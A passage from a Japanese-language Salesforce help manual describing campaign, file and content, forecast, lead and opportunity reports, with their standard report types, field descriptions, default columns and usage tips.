キャンペーン階層統計項目を含めることができます。この項目は、階層
内の親キャンペーンとすべての下位キャンペーンの集計値を表示します。
キャンペーンに階層レベル (「戦略」、「プログラム」、「初期」など)

を表すカスタム選択リストが含まれる場合は、すべてのキャンペーンの
任意の階層レベルでデータを集計するレポートを実行できます。

• キャンペーンリード一覧またはキャンペーン取引先責任者一覧は、自分のキャンペーンと関連付けられ
ているリードまたは取引先責任者を表示する場合に使用します。

• キャンペーン別のキャンペーンメンバーを一覧表示するには、[キャンペーンメンバーレポート (複数)]

を使用します。
• キャンペーンメンバー分析レポートは、キャンペーンに反応したユーザに関する情報をまとめる場合に

使用します。
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• キャンペーン収益レポートは、キャンペーンから発生した商談を分析する場合に使用します。Enterprise

Edition、Unlimited Edition、Performance Edition、および Developer Edition では、商品、数量によるスケジュー
ル、および収益によるスケジュールもこのレポートで分析できます。

• キャンペーン ROI 分析レポートを使用して、キャンペーンの投資収益率 (ROI) と平均コストを計算しま
す。ROI は、純益 ([成立商談金額合計]  - [実費]) を [実費] で除算して算出されます。算出された ROI は
パーセントで表します。

• 複数のキャンペーンに影響された商談を参照するには、[キャンペーンと影響を受ける商談] レポートを
使用します。

メモ: キャンペーンと影響を受ける商談のレポートには、取引先、取引先責任者、およびキャン
ペーンの共有ルールが反映されます。非公開に設定されている共有ルールを持つオブジェクトは、
レポートには表示されません。

レポートタイプ
• キャンペーンメンバーに関連するキャンペーンのカスタムレポートタイプは、複数のキャンペーンにお

けるリードおよび取引先責任者に関するレポートを作成する場合に使用します。キャンペーンメンバー
レポートは、特定のキャンペーンにおける取引先責任者およびリードに関するレポートを表示する場合
に使用します。これらのレポートは、取引先責任者とリードの両方に対して「参照」権限を持っている
ユーザのみ使用できます。

• [リードと取引開始済みリード情報が関連するキャンペーン] レポートを使用すると、リードのライフサ
イクル情報がキャンペーン別に並び替えられて表示されます。

• 複数のキャンペーンに影響された商談を参照するには、[キャンペーンと影響を受ける商談] レポートを
使用します。

キャンペーンレポートのヒント
• いくつかのレポートでは、ルックアップアイコンを使用してキャンペーンを選択し、データを 1 つの

キャンペーンに絞り込むことができます。レポートを実行しているユーザに、選択したキャンペーンの
参照権限がない場合、レポートの結果は表示されません。このレポートの動作は、キャンペーンが削除
された場合と似ています。

• [メンバーの状況]は、キャンペーンを参照しているリードまたは取引先責任者の状況を表します。キャ
ンペーンの所有者は、メンバー状況値を最大 50 まで作成できます。サンプルのメンバー状況の値には、
「計画済み」、「送信済み」と「出席」があります。さらに、[メンバー追加日]、[レスポンスあり]、
および [初回レスポンス日] 項目をキャンペーンレポートに追加できます。これらの項目により、メン
バーがキャンペーンに追加された日付、そのメンバーがキャンペーンに応答したかどうか、およびメン
バーがキャンペーンに最初に応答した日付を表示できます。

• キャンペーンの [最終活動日] は、レコードに記録されている活動の最新の日付を表します。次に示す
過去または未来の活動がこの日付を設定します。
– 任意の行動
– 完了した ToDo

関連トピック:

レポート実行ページ
レポートの結果の制限

4824

レポート分析



ファイルおよびコンテンツのレポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ファイルおよびコンテンツのレポートを実行して、ユーザがどのようにファイ
ルや Salesforce CRM Content と関わっているのかを分析します。
ファイルおよびコンテンツの標準レポート
事前に作成された、ファイルおよびコンテンツに関する次のレポートを実行し
ます。
著者別コンテンツ

各著者がSalesforce CRM Contentに公開したファイル、コンテンツパック、Google

ドキュメント、および Web リンクの数を参照します。
期間内に公開したコンテンツ

特定の期間にライブラリに公開されたファイル、コンテンツパック、Google

ドキュメント、および Web リンクの数を確認します。
ファイルおよびコンテンツのダウンロード

どのユーザがどのファイルをいつダウンロードしたかを確認します。
ファイルおよびコンテンツのエンゲージメント

ファイルがダウンロードされた回数、共有された回数、いいね! と言われた回数、およびコメントされた回
数を参照します。

ファイルおよびコンテンツのリンク
コンテンツ配信または [リンクを使用した共有] を使用して、ユーザがどのファイルを共有しているかを確
認します。各リンクがいつ作成されたか、有効期限がいつ切れるか、最後にアクセスされたのはいつか、
パスワードで保護されているかどうか、およびリンクの合計アクセス回数を確認します。このレポートの
各リンクは、組織外のユーザでもアクセスできます。

ライブラリ管理者
各ライブラリにあるファイル、コンテンツパック、Google ドキュメント、および Web リンクの数のほか、
各ライブラリで使用されるファイルのディスク使用量の合計を参照します。

ライブラリコンテンツ
各ライブラリにあるファイル、コンテンツパック、Google ドキュメント、および Web リンクの数のほか、
各ライブラリで使用されるファイルのディスク使用量の合計を参照します。

最もダウンロードされたコンテンツ
最も頻繁にダウンロードされたファイルとコンテンツパック、および最も頻繁に開かれた Web リンクと
Google ドキュメントを確認します。

最も登録者の多いコンテンツ
最も登録者の多いファイル、コンテンツパック、Google ドキュメント、および Web リンクを確認します。

古いコンテンツ
最近ダウンロードまたは修正されていないファイルを確認します。

ファイルおよびコンテンツのレポートタイプ
ファイルおよびコンテンツに関する標準レポートを作成します。
コンテンツレポート

Salesforce CRM Content に関するレポートを生成します。
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説明項目

ファイルがアーカイブされたかどうかを示すフラグ。ファイルをアーカイ
ブすると、ライブラリからそのファイルが削除されますが、Salesforce CRM

アーカイブ済み

Contentから完全に削除されるわけではありません。アーカイブされたファ
イルは、必要に応じて復元できます。

ファイル、コンテンツパック、Google ドキュメント、または Web リンクを
公開した寄稿者。

コンテンツ作成者

バージョンではなく、ファイルによるグループ化を可能にする識別子。同
一ファイルで複数バージョンがある場合に異なるタイトルを設定すること
ができるため、[コンテンツのタイトル] は必ずしも一意ではありません。

コンテンツ ID

ファイル、コンテンツパック、Google ドキュメント、または Web リンクが
最初に公開された日付。

コンテンツ公開日

ファイル、コンテンツパック、Google ドキュメント、または Web リンクの
タイトル。

コンテンツのタイトル

ファイル、コンテンツパック、Google ドキュメント、または Web リンクに
関連付けられたレコードタイプのタイトル。

レコードタイプ

コンテンツに主要マークが付けられているかどうかを示すフラグ。主要コンテンツ

同じファイルの別バージョンを除いた個々のファイルのサイズ。個々のコンテンツサイズ(MB)

コンテンツが最後に登録された日付。最終登録日

ファイルがダウンロードされた回数、またはライブラリでの合計ダウン
ロード数。Google ドキュメントまたは Web リンクが開かれた回数もこの数
に含まれます。

ダウンロード数

ヒント: 特定のファイルをダウンロードしたユーザを表示するには、
ファイルのコンテンツの詳細ページに移動して [ダウンロード] タブ
をクリックします。

反対投票数。否定的評価数

賛成投票数。肯定的評価数

ファイル、コンテンツパック、Google ドキュメント、または Web リンクを
登録しているユーザの数、またはライブラリでの合計登録数。

登録数

ファイルの新バージョンが公開された回数。バージョン番号

プラス票からマイナス票を差し引いた数。たとえば、ファイルに 2 件のプ
ラス票がありマイナス票がない場合は、[総合評価]は 2 となります。

総合評価

ファイル、コンテンツパック、Google ドキュメント、または Web リンクに
割り当てられている Salesforce CRM Content タグ。

タグ
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説明項目

ファイルの全バージョンを含めたファイルのサイズ。合計コンテンツサイズ (MB)

ファイルの新バージョンが公開された日時。バージョン修正日

そのバージョンのファイルを公開した寄稿者。バージョン修正者

ライブラリの名前。ライブラリ名

ライブラリが作成された日時。ライブラリ作成日

ライブラリおよびユーザのレポート
ライブラリに割り当てられているユーザのリストを生成します。

説明項目

ユーザがライブラリ管理者かどうかを示すフラグ。管理者

ライブラリメンバーが単一ユーザなのか、公開グループなのかを示すフラ
グ。

グループ

ライブラリが作成された日時。ライブラリ作成

ライブラリの名前。ライブラリ名

ライブラリメンバーの名と姓。メンバーの名前

ファイルおよびコンテンツのレポート
組織にアップロードされたファイルに関するレポートを生成します。

説明項目

ファイルがアーカイブされたかどうかを示すフラグ。ファイルをアーカイ
ブすると、ライブラリからそのファイルが削除されますが、Salesforce CRM

アーカイブ済み

Contentから完全に削除されるわけではありません。アーカイブされたファ
イルは、必要に応じて復元できます。

ファイル、コンテンツパック、Google ドキュメント、または Web リンクの
タイトル。

役職

ファイル、コンテンツパック、Google ドキュメント、または Web リンクを
アップロードしたユーザ。

作成者

ファイルを最初にダウンロードした日付。ダウンロード日

ファイルをダウンロードしたユーザ。ダウンロードユーザ

ファイルをダウンロードしたユーザのプロファイル種別。ダウンロードユーザ種別

アップロードしたファイルの MIME タイプ。ファイルの種類
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説明項目

バージョンではなく、ファイルによるグループ化を可能にする識別子。同
一ファイルで複数バージョンがある場合に異なるタイトルを設定すること
ができるため、[タイトル] は必ずしも一意ではありません。

ID

ファイルの新しいバージョンを最後に編集またはアップロードしたユー
ザ。

最終修正者

ファイルが最後に修正された日付。最終修正日

ファイル投稿がいいね! と言われた回数。この数値には、ファイル投稿のコ
メントに適用されたいいね! は含まれません。

いいね!

生成された外部ファイルリンクの数。外部リンクは、ユーザが [リンクを
使用した共有] を使用してファイルを共有したり、コンテンツ配信を使用
してライブラリのコンテンツを共有したりしたときに生成されます。

リンク

フィードのファイル投稿に対して行われたコメントの数。コメント投稿

ファイルがフィードに投稿された回数。この数値には、ファイルが投稿の
コメントに添付された回数は含まれません。

投稿

ファイル、コンテンツパック、Google ドキュメント、または Web リンクが
最初に公開またはアップロードされた日付。

公開日

ファイルがユーザのフィードに投稿された回数、[別の人と共有] を使用し
てファイルが共有された回数、および [グループと共有] を使用してファイ
ルが共有された回数。

共有

最新バージョンのファイルのサイズ (MB)。サイズ (MB)

ファイルがダウンロードされた回数。合計ダウンロード数

アップロードされたすべてのバージョンのファイルの合計サイズ。合計サイズ (MB)

アップロードされたファイルのバージョンの数。バージョン

ファイルおよびコンテンツのレポートを使用する場合のヒント
• ライブラリ権限の [コンテンツの管理]オプションをオンにしている Salesforce CRM Contentユーザは、自分が

アクセス権を持っているライブラリ ([私のライブラリ]) や、組織内のすべてのライブラリ ([すべてのライブ
ラリ]) によってレポートデータを並び替えることができます。[コンテンツの管理] オプションを持たない
ユーザは、自分がアクセス権を持っているライブラリでしかデータを並び替えることができません。

• 総ディスク容量や総ダウンロード数などのライブラリの集計結果と共に個々のファイルのデータを参照す
るには、[ライブラリ名] でカスタムレポートを集計します。

• 特定のドキュメントのデータを参照するには、[コンテンツ ID] に従って並べ替えます。
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• 「ライブラリの作成」ユーザ権限を持つカスタマーポータルユーザまたはパートナーポータルユーザが存
在する場合は、ライブラリ管理者レポートを実行して、ポータルユーザが作成した新しいライブラリを確
認します。

関連トピック:

レポート実行ページ
レポートの結果の制限

売上予測レポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

売上予測レポートには、カスタマイザブル売上予測データに関する情報が表示
されます。

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

メモ: 売上予測レポートフォルダが表示されていない場合は、組織のカス
タマイザブル売上予測が有効になっていない可能性があります。カスタマ
イザブル売上予測には 5 つの標準レポートタイプが含まれます。カスタマ
イザブル売上予測では、カスタムレポートタイプを作成できません。

カスタマイザブル売上予測レポートの特殊機能
カスタマイザブル売上予測レポートを実行するときは、次の点に留意してくだ
さい。
標準レポート

登録した売上予測情報を含めたレポート表示する場合は、売上予測履歴レポートを作成します。[すべての
売上予測] を選択すると、各更新後の売上予測の状態が表示されます。[最新の売上予測] を選択すると、
売上予測の現在の状態のみが表示されます。

レポートタイプ
• カスタム売上予測レポートを作成するときに、自分の売上予測に貢献する商談に関する情報を含める場

合は、レポートタイプで [カスタマイザブル売上予測: 商談売上予測] を選択します。
• カスタム売上予測レポートに、列および列の値としてカスタムユーザ項目を含めることができます。カ

スタムユーザ項目は、商談所有者または取引先所有者のカスタム情報として使用できます。カスタム項
目ラベルは、商談所有者または取引先所有者の情報として使用できます。そのため、両方が同じレポー
トにあり、項目ラベルが類似していると混乱が生じる可能性があります。

• 「すべての売上予測の参照」権限を持っている場合には、売上予測概要と売上予測履歴に、売上予測マ
ネージャを持たない売上予測階層の分岐に属するユーザなど、選択した売上予測階層のユーザのデータ
がすべて表示されます。

カスタマイザブル売上予測レポートのヒント
• 会計年度または日付単位でレポート間隔を指定する必要があります。
• 売上予測レポートには、非公開の商談が含まれます。
• 商談が売上予測期間内に完了するように設定されていれば、商談金額が売上予測レポートに表示されま

す。
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• 売上予測レポートには、売上予測期間内に完了するように設定されている商談のみが表示されます。た
だし、売上予測分類として「売上予測から除外」に割り当てられている商談を除きます。

• 自分の売上予測に貢献する商談に関する情報を含めず、売上予測金額情報のみ表示したい場合は、売上
予測サマリーレポートを作成します。

• 組織でテリトリーを使用している場合は、テリトリー名ごとに情報を集計したカスタム売上予測レポー
トを作成できます。

• 売上予測階層を掘り下げることにより、売上予測階層に基づいて商談売上予測レポートを表示できま
す。
1. [階層] リンクから、希望のロールまたはテリトリーを選択します。
2. レポートの最上部にある[次の所有者の商談を表示]または[次の所有者の売上予測を表示]範囲から、

適切な売上予測ユーザまたはチームを選択します。
3. 選択したパラメータのレポートデータを更新するには、[レポート実行] をクリックします。
たとえば、自分が上書きした商談金額や数量、売上予測階層で自分より下位のユーザによる上書きな
ど、商談情報を参照するには、[階層]リンクを自分の売上予測ロールに設定します。売上予測階層で自
分より下位に属するユーザ商談情報を参照するには、そのロールを掘り下げます。

警告:  [直属部下] ビューに、複数の階層レベルにまたがる売上予測が表示されます。その結果、部
下の売上予測合計と売上予測マネージャの売上予測合計に値が入っている場合があります。部下に
よる金額が合計の中で複数回加算されているため、列の合計が期待値を上回る場合があります。

メモ: 組織のロール階層をレポート結果の上に表示するには、[階層を表示] をクリックします。ロール階
層を使用して、階層内のさまざまなレベルのユーザとレポートデータを共有できます。たとえば、[CEO]

> [グローバル営業の統括責任者] > [営業担当責任者] のように表示されている場合は、[営業担当責任者]

ロールのデータが表示されていることになります。表示する任意のロール名をクリックし、そのロール
のユーザに表示されるデータを共有します。

関連トピック:

レポート実行ページ
レポートの結果の制限
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リードレポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

リードレポートを使用して、リードのソースおよび状況、リードへの応答に要
した時間、未活動のリード、およびリード項目の履歴に関する情報を表示しま
す。
リードレポートの特殊機能
リードレポートを実行するときは、次の点に留意してください。
標準レポート
項目履歴管理が設定されているリードの標準項目とカスタム項目の履歴を追跡
するには、データの種類で [リード履歴] を選択します。元の値と新しい値を参
照できます。

ヒント: 「レポートの作成とカスタマイズ」権限を持っている場合は、リー
ド履歴レポートの [参照] ドロップダウンで [私のリード]、[私のチームの
リード]、[ユーザ所有のリード]、[キュー所有のリード]、および [すべての
リード] からリード履歴データを参照できます。

リードレポートのヒント
• ロール階層内で自分の部下にあたるユーザが所有するリードを参照するには、レポートビューを「私のチー

ムのリード」に絞り込みます。
• リードレポートは、取引開始済みおよび開始前のリードをすべて表示できます。レポートを取引開始前の

リードだけに制限するには、検索条件として、「取引開始済み次の文字列と一致する 0」と入力します。
• リードの [最終活動日]は、レコードに記録されている活動の最新の期日を表します。次に示す過去または

未来の活動がこの日付を設定します。
– 任意の行動
– 完了した ToDo

• また、リード情報のレポートを作成し、そのデータを Excel にエクスポートした上で、Microsoft® Word を使用
して、一括差し込み印刷を行うこともできます。

リードレポートの制限事項
• [元の値] と [新しい値] は、検索条件の項目では使用できません。
• [項目/行動] で絞り込む場合、検索条件ロジックは使用できません。

関連トピック:

レポート実行ページ
レポートの結果の制限
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商談レポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談レポートには、所有者、取引先、フェーズ、金額など、商談に関する情報
が表示されます。デフォルトの設定では、最も使用頻度の高い各オブジェクト
の情報が表示されますが、主キャンペーンソース、売上予測分類、同期見積な
ど、他の情報が表示されるようにレポートをカスタマイズできます。

1. 商談レポートの使用のヒント
商談レポートには、商談項目のすべてに加えて、その他の詳細を提供する追
加の列を含めることができます。

2. 標準商談レポート
標準商談レポートを使用して、商談のパイプラインや履歴、商談ソース、商
談種別などに関するレポートを作成できます。

3. 商談のレポートタイプ
レポートタイプとは、レポートをゼロから作成することなく、求めている固有のデータを取得するために
カスタマイズ可能なレポートテンプレートです。商談のカスタムレポートタイプの多くには、商品、パー
トナー、見積など関連付けられたオブジェクトからの情報が含まれます。

関連トピック:

レポート実行ページ
レポートの結果の制限

商談レポートの使用のヒント
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談レポートには、商談項目のすべてに加えて、その他の詳細を提供する追加
の列を含めることができます。
• 次の列を使用して、その他の詳細を提供できます。

– 商談日数  — 進行中の商談の商談作成以降の日数を表します。完了した商
談の場合、商談日数は作成日から完了日までの日数を表します。

– フェーズ滞在期間  — [フェーズ] 列にあるそのフェーズに留まっていた商
談の日数を表します。商談フェーズ期間レポートを実行すると、商談が
各フェーズに留まっていた期間を確認できます。

– 最終活動日  — 商談行動、完了した ToDo など、商談レコードに記録されて
いる活動の最新の期日。

• 組織で売上予測またはカスタマイザブル売上予測を使用している場合は、標
準レポートフォルダとカスタムレポートウィザードには、売上予測レポートオプションと合わせて商談レ
ポートオプションが表示されます。組織の階層のロールが設定されていないユーザが所有する商談は、商
談、売上予測、および売上レポートから除外されます。Personal Edition または Group Edition にはロール階層が
ないため、これらのエディションを使用している組織にこの制限は適用されません。[パートナー] 列を含
むレポート (パートナー商談一覧レポートを除く) の場合は、その商談の主パートナーだけが表示されます。

• すべての商談商品項目をレポート検索条件に使用できるわけではありません。たとえば、[商品ファミリ]

項目は、価格表エントリオブジェクトでそのオブジェクトに関連するため、商談商品レポート検索条件に
は使用できません。クロスセルまたはアップセルレポートについて、商談商品レポート検索条件で [商品
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ファミリ] 項目を使用可能にするには、コンテンツを保存するカスタム数式項目を作成し、その数式項目
を検索条件に使用します。商談のオブジェクト管理設定から項目領域に移動して、種別が数式のカスタム
項目を作成し、数式の戻り値のデータ型に Text、数式に TEXT(PricebookEntry.Product2.Family)

を使用します。
• Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織では、

[階層] リンクで、ロールまたはテリトリー階層に基づくレポート結果を参照できます。
• 組織でテリトリー管理を使用している場合は、商談レポートの階層条件を使用して、ロールまたはテリト

リー階層に従ってデータを参照できます。また、テリトリー条件を使用して、すべてのテリトリーの商談
または関連テリトリーを持たない商談を表示できます。

• すべての標準商談レポートに [主キャンペーンソース]項目を入れることができます。この項目は、項目レ
ベルセキュリティにより制御されます。

• 参照条件を使用して、商談レポートの結果を絞り込みます。参照オプションは、組織のエディションと設
定によって異なります。
– 私の商談 — 自分の商談だけが表示されます。
– 私のチームセリング商談 — 自分が所属する商談チームの商談が表示されます。
– 私のチームセリングと私が所有する商談 — 自分の商談と、自分が所属する商談チームの商談が表示さ

れます。
– 私のチームの商談 — 自分の商談と、ロール階層内で自分の部下全員が所有する商談が表示されます。

組織でテリトリー管理を使用している場合、このオプションの影響は、上記の階層条件の値によって異
なります。[ロール] を選択すると、自分の商談と、そのロール階層内の自分の部下全員が所有する商
談が表示されます。[テリトリー]を選択すると、自分が所有する商談と自分のテリトリーの部下が所有
する商談が表示されます。

– 私のチームのチームセリングとチームが所有する商談 — ロール階層内で自分の下位ロールのユーザが
自ら所有する商談、または自分が所属する商談チームの商談が表示されます。

– 私のテリトリー — テリトリー管理を使用している組織では、このオプションを選択すると、自分が割
り当てられているテリトリーに属する商談が表示されます。

– すべての商談 — 表示可能なすべての商談が表示されます。

関連トピック:

商談レポート
商談のレポートタイプ
標準商談レポート

標準商談レポート
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エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

標準商談レポートを使用して、商談のパイプラインや履歴、商談ソース、商談
種別などに関するレポートを作成できます。
1. [レポート] タブの [フォルダ] ペインで、[商談レポート] を選択します。
2. 必要なレポートをクリックします。

説明レポート名

成立した商談。完了した商談

利用可能な商談の種別。種別別商談

商談の項目履歴。組織でこの情報を
追跡している場合のみ、利用可能。

商談項目履歴

商談の状況変更。組織でこの情報を
追跡している場合のみ、利用可能。

商談履歴

商談の履歴スナップショット。商談
金額は指定月の履歴フェーズ別にグ
ループ分けされます。このレポート
は、Professional Edition、Enterprise

Edition、Unlimited Edition、Performance

Edition、および Developer Edition の組織
でのみ使用できます。

商談パイプライントレンド

フェーズ別の商談。商談パイプライン

割り当てられたユーザやパーセント
などの分割情報で集計された商談。

分割された商談パイプライン

月別および商品別の商談。商談品目

各商品の分割割り当てと分割率。次
の項目で情報を集計することもでき
ます。

分割された商談商品レポート

• [合計金額を分割]  – 分割率 × 合計
金額

• [期待商品金額を分割]  – 分割合計
金額 × 確度

商談チームの分割率を含む、月別の
商談。このレポートにアクセスする

分割された商談スケジュールレポー
ト

には、組織で商品のスケジュール設
定が有効化されている必要がありま
す。
次の項目で情報を集計することもで
きます。
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説明レポート名

• [合計金額を分割]  – 分割率 × 合計金額
• [分割スケジュール金額]  – 分割率 × スケジュール

金額
• [期待商品金額を分割]  – 分割合計金額 × 確度
• [分割期待スケジュール金額]  – 分割スケジュール

金額 × 確度

商談のソース。商談ソース

各フェーズでの商談の期間。商談フェーズ期間

商談および自分が所属する商談チームに関する情
報。

商談チーム

商談に関連付けられたすべてのパートナーまたは主
パートナーのみ。結果を主パートナーに限定する場

パートナー商談

合は、レポートをカスタマイズし、レポートウィ
ザードの条件ページで「主担当 次の文字列と一致す
る True」と入力します。

フェーズ別にグループ分けされ、商談日数で並び替
えられた進行中の商談。

停滞商談

3. レポートを実行します。

関連トピック:

商談レポート
商談のレポートタイプ
商談レポートの使用のヒント

商談のレポートタイプ
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エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

レポートタイプとは、レポートをゼロから作成することなく、求めている固有
のデータを取得するためにカスタマイズ可能なレポートテンプレートです。商
談のカスタムレポートタイプの多くには、商品、パートナー、見積など関連付
けられたオブジェクトからの情報が含まれます。

商談レポート
所有者、取引先、フェーズ、金額など、商談に関する標準情報を参照しま
す。デフォルトの設定では、最も使用頻度の高い各オブジェクトの情報が表
示されますが、主キャンペーンソース、売上予測分類、同期見積など、他の
情報が表示されるようにレポートをカスタマイズできます。
取引先責任者の役割が関連する商談レポート
名前、役職、役割など、商談に関連する取引先責任者に関する情報を参照し
ます。
取引先責任者の役割と商品が関連する商談レポート
選択した商品に関連する取引先責任者と商談に関する情報を参照します。レ
ポートを実行するときに、商品を選択して結果を絞り込む必要があります。
競合が関連する商談レポート
強みや弱みなど、商談に関連する競合相手に関する情報を参照します。
履歴トレンドが関連する商談レポート
履歴トレンドが関連する商談レポートは、販売パイプラインの履歴トレンド
の分析に役立つよう設計されたカスタムレポートタイプです。
商談項目履歴レポート
変更前後の値、編集した日付など、主要な商談項目の変更履歴に関する情報
を参照します。
商談フェーズ履歴レポート
フェーズや完了日など、商談の履歴に関する情報を参照します。
商談チームが関連する商談レポート
商談別に、商談チームのメンバーとそのロールに関する情報を参照します。
商談チームと商品が関連する商談レポート
商談別に、商談チームのメンバーとその商品に関する情報を参照します。レポートを実行するときに、商
品または商談チームメンバーのいずれかを指定して結果を絞り込む必要があります。
パートナーが関連する商談レポート
商談名、金額、パートナーの役割など、商談でチームを組むパートナーに関する情報を参照します。
商品が関連する商談レポート
商品名や商談フェーズなど、商談に関連する商品に関する情報を参照します。
商談の動向レポート
パイプラインの商談間で共有する動向に関する情報を参照します。
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見積と見積 PDF が関連する商談レポート
商談に関連付けられている見積ごとに作成された見積 PDF の詳細が表示されます。デフォルトの設定では、
最も使用頻度の高い各オブジェクトの情報が表示されますが、リストの各見積 PDF の作成者や最終更新日
など、他の情報が表示されるようにレポートをカスタマイズできます。
見積と見積品目名が関連する商談レポート
商談に関連付けられている見積と、各見積の品目名の詳細が表示されます。デフォルトの設定では、最も
使用頻度の高い各オブジェクトの情報が表示されますが、任意の商談、見積、または見積品目名の項目が
表示されるようにレポートをカスタマイズできます。

関連トピック:

レポートタイプの選択
商談レポート
商談レポートの使用のヒント

商談レポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

所有者、取引先、フェーズ、金額など、商談に関する標準情報を参照します。
デフォルトの設定では、最も使用頻度の高い各オブジェクトの情報が表示され
ますが、主キャンペーンソース、売上予測分類、同期見積など、他の情報が表
示されるようにレポートをカスタマイズできます。

メモ: 組織のロール階層をレポート結果の上に表示するには、[階層を表示]

をクリックします。ロール階層を使用して、階層内のさまざまなレベルの
ユーザとレポートデータを共有できます。たとえば、[CEO] > [グローバル営
業の統括責任者] > [営業担当責任者]のように表示されている場合は、[営業
担当責任者] ロールのデータが表示されていることになります。表示する任
意のロール名をクリックし、そのロールのユーザに表示されるデータを共
有します。

このレポートのデフォルト設定は、次のとおりです。
表示形式

表形式
選択された列

列オブジェクト情報種別

商談情報 • 商談名
• 金額
• 完了予定日
• フェーズ
• 商談日数
• 種別
• 確度(%)

• リードソース
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列オブジェクト情報種別

• 会計期間
• 次のステップ
• 作成日

商談所有者の情報 • 商談所有者
• 所有者 ロール

取引先情報 • 取引先名

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

取引先責任者の役割が関連する商談レポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

名前、役職、役割など、商談に関連する取引先責任者に関する情報を参照しま
す。
このレポートのデフォルト設定は、次のとおりです。
表示形式

表形式
選択された列

列オブジェクト情報種別

商談情報 • 商談名

商談所有者の情報 • 商談所有者

取引先: 一般情報 • 取引先名

取引先責任者の役割: 情報 • 役職
• 名
• 姓

取引先責任者の役割: 電話/Fax/メール • 電話
• メール

取引先責任者の役割: 住所 • 町名・番地(郵送先)
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列オブジェクト情報種別

• 市区郡(郵送先)

• 都道府県(郵送先)

• 郵便番号(郵送先)

• 国(郵送先)

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

取引先責任者の役割と商品が関連する商談レポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

選択した商品に関連する取引先責任者と商談に関する情報を参照します。レポー
トを実行するときに、商品を選択して結果を絞り込む必要があります。
このレポートのデフォルト設定は、次のとおりです。
表示形式

表形式
選択された列

列オブジェクト情報種別

商談: 情報 • 商談名

商品情報 • 商品名

商談所有者の情報 • 商談所有者

取引先: 一般情報 • 取引先名

取引先責任者の役割: 情報 • 役職
• 名
• 姓

取引先責任者の役割: 電話/Fax/メール • 電話
• メール

取引先責任者の役割: 住所 • 町名・番地(郵送先)

• 市区郡(郵送先)

• 都道府県(郵送先)
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列オブジェクト情報種別

• 郵便番号(郵送先)

• 国(郵送先)

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

競合が関連する商談レポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

強みや弱みなど、商談に関連する競合相手に関する情報を参照します。
このレポートのデフォルト設定は、次のとおりです。
表示形式

概要
選択された列

列オブジェクト情報種別

商談情報 • 商談名
• 完了予定日
• 金額

競合の情報 • 会社名
• 強み
• 弱み

取引先: 一般情報 • 取引先名

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

履歴トレンドが関連する商談レポート
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エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

および

「カスタムレポートタ
イプの管理」

履歴トレンドが関連する商談レポートは、販売パイプラインの履歴トレンドの
分析に役立つよう設計されたカスタムレポートタイプです。
次に、デフォルトレポートの最も有益な商談項目をいくつか示します。
金額

売上の見積総額。マルチ通貨を使用している組織では、金額は個人設定の通
貨で表示されます (デフォルト)。他の通貨で金額を追跡するには、[商談 通
貨] 選択リストを変更します。

完了予定日
商談をクローズする予定の日付。日付を入力するか、項目にカーソルを移動
したときに表示されるカレンダーから日付を選択します。

フェーズ
見込み客や提案者など、定義済みリストから作成する選択に基づく商談の現
在のフェーズ。

確度
商談の受注に対する確度 (%)。

売上予測分類
レポート、商談の詳細および編集のページ、商談の検索、商談リストビュー
に表示される売上予測分類名。商談の設定は、その [フェーズ] に関連付け
られています。

メモ: このレポートタイプを編集すると、自動的に更新されなくなります。
このレポートタイプを削除すると、再生成されなくなります。

商談項目履歴レポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

変更前後の値、編集した日付など、主要な商談項目の変更履歴に関する情報を
参照します。

メモ: 項目履歴管理の有効化と設定を行い、項目履歴管理レポートを使用
するための項目を選択します。

このレポートのデフォルト設定は、次のとおりです。
表示形式

表形式
選択された列

列オブジェクト情報種別

履歴データ • 編集日
• 新しい値
• 編集者
• 項目 / 行動
• 元の値
